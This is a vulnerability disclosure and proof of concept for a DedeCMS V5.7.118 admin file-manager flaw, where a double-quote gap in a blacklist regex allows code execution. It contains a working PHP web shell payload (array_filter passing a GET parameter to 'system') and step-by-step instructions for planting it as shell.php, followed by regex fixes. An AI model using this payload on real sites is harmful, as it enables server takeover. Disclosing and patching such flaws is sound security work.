CVE-2026-30694 dedecms admin portal file manage getshell via bypass blacklist

Download source code

https://updatenew.dedecms.com/base-v57/package/DedeCMS-V5.7.118-UTF8.zip

---

admin portal RCE - Bypassing the blacklist regular expression flaw (verified)

• Location: /dede/tpl.php (file manage function)

• Risk Level: High (Requires DedeCMS administrator privileges; full RCE can be achieved)

• Exploitability: Confirmed to be exploitable

• Prerequisites: Requires administrator privileges

• Affected Scope: <=V5.7 118 UTF-8 versions

Vulnerablitity Discover

Regular expression analysis revealed two key flaws in the DedeCMS blacklist detection regular expressions:

Defect 1: Spelling error

//Source code /dede/tpl.php line 35
'array_filert'  // wrong spell, it shoule be array_filter

Defect 2: Incomplete character class at the end of the regular expression

// regular expression (Source code /dede/tpl.php line 38):
preg_match("#[^a-z]+['\"]*{$value}['\"]*[\s]*[([{']#i", $content)
//                                           ^^^^^^
//                                           Character: ( [ { '
//                                           ❌ it lacks double quote " !

Detailed Explanation of the Bypass Principle

The regular expression ending with [([{'] only matches: ( [ { '. It does not match: " (double quotes).

Therefore, when the callback name is enclosed in double quotes, the regular expression cannot detect it.

Example:

Content written to a PHP file: array_filter(["id"],"system") → Because the callback "system" contains double quotes, and the ending character class does not contain double quotes, the regular expression cannot match it, thus bypassing the detection.

Python POC for regular expression

import re
#  Regular Expression check
pattern = r'[^a-z]+[\'\"]*system[\'\"]*\s*[([{\']'

# test
print(re.search(pattern, '}"system"', re.I))   # None (绕过!)

Full payload

// Bypassing blacklists using array_filter + double-quoted
<?php
$g = "_GET";
$c = "c";
array_filter([${$g}[$c]],"system");

Step

1

log on admin portal

2

Go to Core Module → Attachment Management → File Manager

3

Create a new file (e.g., shell.php), insert the following content, and save it:

shell.php

<?php
$g = "_GET";
$c = "c";
array_filter([${$g}[$c]],"system");

4

Save the file (It would bypass blacklist )

5

Accessing the PHP file and passing in parameters, such as ?c=whoami, successfully obtained a shell.

Relavant Screenshots

Source Code fix recommandation

It is recommended to fix the following two issues in the source code:

In dede/tpl.php, on line 38, fix the regular expression by adding " to the end of the character class:

preg_match("#[^a-z]+['\"]*{$value}['\"]*[\s]*[([{'\"]#i", $content)

1. In dede/tpl.php, on line 35, fix the spelling error:

// Origin: array_filert
// should be:
array_filter

---

https://updatenew.dedecms.com/base-v57/package/DedeCMS-V5.7.118-UTF8.zip

---

---